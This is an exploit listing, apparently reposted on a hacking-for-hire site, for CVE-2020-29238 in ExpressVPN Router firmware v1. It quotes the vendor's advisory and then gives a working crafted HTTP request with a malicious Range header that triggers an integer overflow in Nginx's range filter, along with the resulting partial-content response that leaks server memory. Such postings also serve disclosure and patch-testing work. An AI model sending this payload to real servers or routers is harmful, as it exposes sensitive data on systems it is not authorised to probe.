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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: ExpressVPN VPN Router 1.0 - Router Login Panel's Integer Overflow
# Date: 09-04-2021
# Exploit Author: Jai Kumar Sharma
# Vendor Homepage: https://www.expressvpn.com/
# Software Link: https://www.expressvpn.com/vpn-software/vpn-router
# Version: version 1
# Tested on: Windows/Ubuntu/MacOS
# CVE : CVE-2020-29238

*Proof of concept*:

ExpressVPN Router's Login Panel runs on Nginx webserver, the version v1 of the router's firmware hosts web login panel on vulnerable web server

ExpressVPN Summary: A publicly known bug in the Nginx server used by the ExpressVPN Router version 1.x firmware was reported. ExpressVPN no longer ships or supports that version and all users are encouraged to upgrade to the latest version of the ExpressVPN Router firmware available on our site, which is not vulnerable to this bug. Additionally, we highly discourage our users from exposing their router control panel to the Internet, as this class of bug would only be exploitable with access to the control panel, which is usually restricted to the local network. For help or support upgrading your router please visit: https://www.expressvpn.com/support/

ExpressVPN Router version 1 is vulnerable to integer overflow vulnerability in Nginx range filter module resulting into leak of potentially sensitive information triggered by specially crafted request.

Crafted Request:
GET / HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0)
Gecko/20100101 Firefox/81.0
Host: 127.0.0.1:8181
Accept-Encoding: identity
Range: bytes=-17208,-9223372036854758999
Connection: close


Response:
HTTP/1.1 206 Partial Content
Server: nginx/1.9.15
Date: Tue, 10 Nov 2020 19:22:05 GMT
Content-Type: multipart/byteranges; boundary=00000000002
Content-Length: 598
Last-Modified: Thu, 13 Sep 2018 04:55:28 GMT
Connection: close
ETag: "5b99edc0-99f"


--00000000002
Content-Type: text/html
Content-Range: bytes -14745-2462/2463